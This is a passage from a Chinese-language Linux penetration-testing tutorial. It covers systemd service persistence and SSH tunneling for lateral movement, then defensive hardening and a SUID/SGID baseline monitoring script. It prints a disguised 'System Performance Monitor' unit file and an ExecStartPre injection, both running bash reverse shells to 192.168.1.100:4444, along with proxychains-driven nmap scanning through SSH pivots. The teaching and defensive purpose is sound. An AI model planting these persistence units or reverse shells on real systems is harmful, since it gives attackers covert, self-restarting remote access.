服務檔案採用INI風格的格式,分為幾個主要section。[Unit]section包含服務的描述性資訊與依賴關係。[Service]section定義服務如何啟動、停止與運作。[Install]section指定服務如何被啟用,也就是系統啟動時是否自動執行。
讓我們看一個合法的服務檔案範例,以理解其結構:
[Unit]
Description=Example Web Service
After=network.target
Wants=network-online.target
[Service]
Type=simple
User=www-data
WorkingDirectory=/var/www/app
ExecStart=/usr/bin/python3 /var/www/app/server.py
Restart=always
RestartSec=10
[Install]
WantedBy=multi-user.target
在[Unit]section中,Description提供服務的人類可讀描述。After指定這個服務應該在哪些目標之後啟動,network.target表示網路系統已經啟動。Wants表示這個服務希望某個目標啟動,但不是強制要求。
[Service]section是核心部分。Type指定服務的類型,simple表示主程式就是ExecStart指定的程式。User指定執行服務的使用者。WorkingDirectory設定工作目錄。ExecStart是最關鍵的設定,指定實際要執行的命令。Restart定義服務退出後的重啟策略,always表示無論如何都重啟。RestartSec指定重啟前的等待時間。
[Install]section中的WantedBy指定這個服務應該被哪個目標所需要。multi-user.target是一個常用的目標,相當於傳統的runlevel 3,表示多使用者命令列模式。
從攻擊者的角度來看,Systemd服務提供了一個強大的持久化機制。一旦建立並啟用了一個惡意服務,它會在系統啟動時自動執行,並且根據設定可以在程式退出後自動重啟。這使得基於Systemd的持久化比簡單的反向Shell更加穩定。
一個典型的惡意服務檔案可能像這樣:
cat << 'EOF' | sudo tee /etc/systemd/system/system-monitor.service
[Unit]
Description=System Performance Monitor
After=network.target
[Service]
Type=simple
ExecStart=/bin/bash -c 'while true; do bash -i >& /dev/tcp/192.168.1.100/4444 0>&1; sleep 60; done'
Restart=always
RestartSec=30
[Install]
WantedBy=multi-user.target
EOF
這個服務偽裝成系統效能監控器,但實際上會持續嘗試建立反向Shell連線。ExecStart中的while迴圈確保即使單次連線失敗,也會在60秒後重試。Restart=always和RestartSec=30確保即使整個服務因為某種原因退出,也會在30秒後自動重啟。
建立服務檔案後,需要重新載入Systemd設定,啟用並啟動服務:
sudo systemctl daemon-reload
sudo systemctl enable system-monitor.service
sudo systemctl start system-monitor.service
daemon-reload命令讓Systemd重新讀取所有服務檔案,識別新建立的服務。enable命令在適當的目標目錄中建立符號連結,使服務在系統啟動時自動執行。start命令立即啟動服務,不需要等到下次重啟。
可以使用systemctl status system-monitor.service來檢查服務的狀態,使用journalctl -u system-monitor.service來查看服務的日誌輸出。
更隱蔽的做法是修改現有的合法服務檔案,在其ExecStart命令中注入惡意程式碼,或是使用ExecStartPre或ExecStartPost在服務啟動前後執行額外的命令:
[Service]
ExecStartPre=/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1 &'
ExecStart=/usr/bin/legitimate-service
這種方法的優勢是不會建立新的服務檔案,降低被發現的機率。惡意程式碼寄生在合法服務中,除非仔細檢查服務檔案的內容,否則很難發現。
@startuml
!define DISABLE_LINK
!define PLANTUML_FORMAT svg
!theme _none_
skinparam dpi auto
skinparam shadowing false
skinparam linetype ortho
skinparam roundcorner 5
skinparam defaultFontName "Microsoft JhengHei UI"
skinparam defaultFontSize 16
skinparam packageStyle rectangle
package "Systemd持久化機制架構" {
rectangle "服務檔案結構" {
component "[Unit] Section" as unit {
port "Description" as desc
port "After" as after
port "Wants" as wants
}
component "[Service] Section" as service {
port "Type" as type
port "ExecStart" as exec
port "Restart" as restart
port "User" as user
}
component "[Install] Section" as install {
port "WantedBy" as wantedby
}
}
rectangle "Systemd核心組件" {
component "systemd進程" as systemd
component "服務管理器" as manager
component "依賴關係解析" as resolver
}
rectangle "系統目標" {
component "multi-user.target" as multiuser
component "network.target" as network
component "default.target" as default
}
rectangle "持久化執行流程" {
component "系統啟動" as boot
component "目標啟動" as target_start
component "服務啟動" as service_start
component "惡意程式執行" as malicious
}
unit --> resolver : 定義依賴
service --> manager : 定義行為
install --> systemd : 定義安裝點
resolver --> network : 檢查依賴
resolver --> multiuser : 檢查依賴
manager --> service_start : 執行服務
boot --> default : 啟動預設目標
default --> multiuser : 一般為multi-user
multiuser --> target_start : 啟動相關服務
target_start --> service_start
service_start --> malicious : ExecStart執行
malicious ..> manager : 程式退出
manager ..> service_start : Restart=always\n自動重啟
}
actor "攻擊者" as attacker
actor "系統管理員" as admin
attacker --> unit : 建立惡意服務檔案
admin --> systemd : systemctl status檢查
note right of malicious
持續嘗試建立反向Shell
while true; do
bash -i >& /dev/tcp/IP/PORT
sleep 60
done
end note
note left of manager
自動重啟機制
確保持久性
即使連線失敗也會重試
end note
@enduml
這個元件圖展示了Systemd持久化機制的完整架構。從服務檔案的三個核心section,到Systemd的內部組件,再到系統啟動流程,每個環節都清楚標示。特別重要的是理解Restart機制如何確保持久性,以及服務如何在系統啟動時被自動執行。這種架構化的視角有助於理解攻擊的完整邏輯,也能指導防禦策略的制定。
防禦基於Systemd的持久化攻擊同樣需要多層次的策略。首先是定期審查服務檔案。系統管理員應該熟悉系統中所有合法服務,並定期檢查/etc/systemd/system/目錄,查看是否有新增的陌生服務。可以使用以下命令列出所有啟用的服務:
systemctl list-unit-files --type=service --state=enabled
其次是監控服務檔案的變更。使用檔案完整性監控工具監視/etc/systemd/system/和/usr/lib/systemd/system/目錄,任何新增或修改的檔案都應該被記錄並告警。
第三是審查服務的網路行為。檢查每個服務的ExecStart命令,特別注意那些涉及網路連線的命令。可以使用systemctl cat service-name.service來查看服務的完整定義。
第四是使用SELinux或AppArmor等強制存取控制機制來限制服務的能力。即使惡意服務被建立,如果受到適當的安全策略約束,其危害也可以被限制。
最後是審計日誌分析。Systemd的日誌系統journald會記錄所有服務的啟動、停止與輸出。定期分析這些日誌,查找異常的服務行為,如頻繁的重啟、異常的錯誤訊息等。
SSH通道技術與網路橫向移動
在滲透測試的後期階段,攻擊者往往需要從已經控制的一台主機,擴展存取範圍到其他內部主機或網路區段。這個過程稱為橫向移動(Lateral Movement)或網路轉移(Network Pivoting)。SSH作為Linux系統中最常用的遠端存取工具,提供了強大的通道建立能力,成為實現網路轉移的重要技術手段。
SSH不僅是一個安全的遠端登入協定,它還支援埠轉發(Port Forwarding)功能,也稱為SSH通道(SSH Tunneling)。透過SSH通道,可以將一個網路連線加密地透過SSH連線傳輸,這在繞過防火牆限制、存取內部網路資源時特別有用。
SSH埠轉發有三種主要類型:本地埠轉發(Local Port Forwarding)、遠端埠轉發(Remote Port Forwarding)和動態埠轉發(Dynamic Port Forwarding)。每種類型適用於不同的應用場景。
本地埠轉發是最常用的類型,它將本地主機上的一個埠映射到遠端主機能夠存取的某個目標主機的埠。命令格式為:
ssh -L [本地埠]:[目標主機]:[目標埠] [SSH伺服器使用者]@[SSH伺服器]
例如,假設我們已經透過SSH存取到一台跳板機(192.168.1.10),這台跳板機可以存取內部網路中的一台Web伺服器(10.0.0.50),但我們的本地主機無法直接存取這台Web伺服器。可以使用本地埠轉發來建立通道:
ssh -L 8080:10.0.0.50:80 [email protected]
這個命令會將本地主機的8080埠對應到10.0.0.50的80埠。建立通道後,在本地瀏覽器中存取http://localhost:8080,實際上就是存取10.0.0.50的80埠。所有流量都會透過SSH連線加密傳輸。
遠端埠轉發的邏輯相反,它將遠端主機上的一個埠映射到本地主機能夠存取的目標主機的埠。命令格式為:
ssh -R [遠端埠]:[目標主機]:[目標埠] [SSH伺服器使用者]@[SSH伺服器]
這種類型的轉發常用於反向通道的場景。例如,當本地主機在防火牆後無法被外部直接存取時,可以使用遠端埠轉發讓外部主機能夠存取本地服務:
ssh -R 8080:localhost:80 [email protected]
這會在remote-server.com上開啟8080埠,任何連線到remote-server.com:8080的請求都會被轉發到本地主機的80埠。
動態埠轉發更加靈活,它建立一個SOCKS代理伺服器,可以動態地轉發到任意目標。命令格式為:
ssh -D [本地埠] [SSH伺服器使用者]@[SSH伺服器]
例如:
ssh -D 1080 [email protected]
這會在本地主機的1080埠建立一個SOCKS5代理伺服器。將瀏覽器或其他應用程式設定使用這個代理,所有流量都會透過SSH連線經由192.168.1.10轉發。這特別適合在滲透測試中,需要存取多個內部主機時使用。
在實際的滲透測試場景中,SSH通道技術可以串聯使用,形成多層的網路轉移鏈。例如,從攻擊者主機到第一層跳板機,再從跳板機到內部網路的另一台主機,形成一條完整的存取路徑。
SSH通道還可以與其他工具結合使用。ProxyChains是一個常用的工具,它可以強制任意應用程式透過SOCKS代理連線。結合SSH動態埠轉發,可以讓各種滲透測試工具透過SSH通道執行:
# 首先建立SSH動態埠轉發
ssh -D 1080 user@jump-host
# 在另一個終端,使用ProxyChains執行工具
proxychains nmap -sT 10.0.0.0/24
這樣nmap掃描內部網路的流量就會透過SSH通道傳輸,不會直接從本地主機發出,有助於隱藏攻擊來源。
對於Windows系統的滲透測試,雖然不是本文的重點,但值得一提的是,SSH通道技術同樣適用。Windows 10之後的版本內建了OpenSSH客戶端,可以使用相同的SSH命令。對於舊版Windows,可以使用PuTTY等工具來建立SSH通道。
防禦SSH通道濫用需要多方面的措施。首先是嚴格的SSH存取控制,限制哪些使用者可以從哪些位置登入,使用金鑰認證而非密碼認證。其次是監控SSH連線,特別注意那些持續時間長、流量大或建立多個埠轉發的連線。第三是使用網路分段與零信任架構,即使攻擊者取得一台主機的存取權限,也難以橫向移動到其他系統。
玄貓認為,理解SSH通道技術不僅對於滲透測試重要,對於合法的系統管理工作同樣有價值。許多企業環境中,系統管理員需要從外部安全地存取內部資源,SSH通道提供了一個加密且靈活的解決方案。關鍵是在便利性與安全性之間找到適當的平衡,透過完善的存取控制、審計日誌與異常偵測,確保這項強大的技術不被濫用。
防禦策略與最佳實踐
在深入了解各種特權提升與持久化技術之後,我們需要從防禦者的角度,系統化地思考如何保護Linux系統免受這些攻擊。有效的防禦不是依靠單一的安全措施,而是需要建立多層次的縱深防禦體系,從系統加固、存取控制、監控偵測到事件回應,形成完整的安全防護鏈。
系統加固是第一道防線。這包括定期更新系統與應用程式,修補已知漏洞;移除不必要的服務與軟體,減少攻擊面;正確設定檔案權限,特別是避免不當的SUID/SGID設定;使用強密碼策略,強制複雜密碼與定期更換;實施最小權限原則,使用者只應擁有完成工作所需的最低權限。
對於SUID/SGID檔案的管理,建議建立基線清單並定期審查。可以使用以下腳本自動化這個過程:
#!/bin/bash
# SUID/SGID檔案監控腳本
BASELINE_DIR="/var/lib/security/baselines"
CURRENT_SUID="/tmp/current_suid.txt"
CURRENT_SGID="/tmp/current_sgid.txt"
# 建立基線目錄
mkdir -p "$BASELINE_DIR"
# 搜尋當前的SUID與SGID檔案
find / -perm -u=s -type f 2>/dev/null | sort > "$CURRENT_SUID"
find / -perm -g=s -type f 2>/dev/null | sort > "$CURRENT_SGID"
# 檢查並比對基線
for file_type in suid sgid; do
baseline="$BASELINE_DIR/${file_type}_baseline.txt"
current="/tmp/current_${file_type}.txt"
if [ -f "$baseline" ]; then
# 比對差異
diff "$baseline" "$current" | grep "^>" | sed 's/^> //' | while read new_file; do
echo "[警告] 發現新的 ${file_type^^} 檔案: $new_file"
ls -l "$new_file"
file "$new_file"
done
diff "$baseline" "$current" | grep "^<" | sed 's/^< //' | while read removed_file; do
echo "[資訊] ${file_type^^} 檔案已移除: $removed_file"
done
else
echo "[資訊] 建立 ${file_type^^} 基線檔案"
cp "$current" "$baseline"
fi
done
# 清理暫存檔案
rm -f "$CURRENT_SUID" "$CURRENT_SGID"
存取控制是防禦的核心。除了傳統的DAC(Discretionary Access Control)權限系統,應該考慮實施MAC(Mandatory Access Control)機制,如SELinux或AppArmor。這些機制提供了更細緻的存取控制,即使程式存在漏洞被利用,也會受到安全策略的限制。
對於Cron與Systemd的防護,需要嚴格控制使用權限。透過/etc/cron.allow與/etc/cron.deny限制可以使用Cron的使用者。定期檢查/etc/systemd/system/目錄,確認所有服務的合法性。使用systemd-analyze security [service-name]命令來評估服務的安全設定,這個命令會輸出服務的安全評分與改進建議。
監控與偵測是及時發現攻擊的關鍵。應該部署日誌集中管理系統,收集來自所有主機的日誌,便於分析與告警。設定告警規則偵測異常行為,如新的SUID檔案建立、crontab變更、新服務啟用、異常的網路連線等。使用HIDS(Host-based Intrusion Detection System)如OSSEC或Wazuh來自動化監控與告警。
事件回應計畫同樣重要。當偵測到可疑活動時,需要有明確的處理流程:隔離受影響系統,防止進一步擴散;保全證據,包括記憶體映像、日誌檔案、可疑檔案等;分析攻擊手法與影響範圍;根除攻擊者的持久化機制;修復漏洞並恢復系統;記錄整個事件並改進防護措施。
對於反向Shell的防護,網路層面的監控特別重要。部署網路入侵偵測系統(NIDS)如Suricata或Snort,監控異常的出站連線。設定出站防火牆規則,只允許必要的出站連線,阻擋到非常見埠或可疑IP的連線。使用NetFlow或類似技術分析網路流量模式,識別異常的通訊行為。
對於SSH通道的防護,需要在便利性與安全性之間取得平衡。限制SSH埠轉發功能,在/etc/ssh/sshd_config中設定AllowTcpForwarding no可以禁用埠轉發。使用跳板機(Bastion Host)架構,所有對內部系統的SSH存取都必須經過跳板機,便於集中控制與審計。實施SSH金鑰管理策略,定期輪換金鑰,撤銷離職員工的金鑰。
教育訓練也是防禦策略的重要組成部分。系統管理員需要理解各種攻擊技術的原理,才能有效防護。定期進行安全意識培訓,讓所有員工了解社交工程、釣魚攻擊等威脅。進行紅隊演練,模擬真實攻擊來測試防禦能力,發現並修補薄弱環節。
最後,玄貓強調,安全是一個持續的過程,而非一次性的任務。威脅持續演進,新的攻擊技術不斷出現,防禦策略也需要相應地調整與更新。建立安全文化,讓安全成為組織的DNA,才能在這場永無止境的攻防對抗中保持優勢。透過深入理解攻擊技術,結合系統化的防禦措施,我們可以建構起堅固的安全防線,保護關鍵資產免受威脅。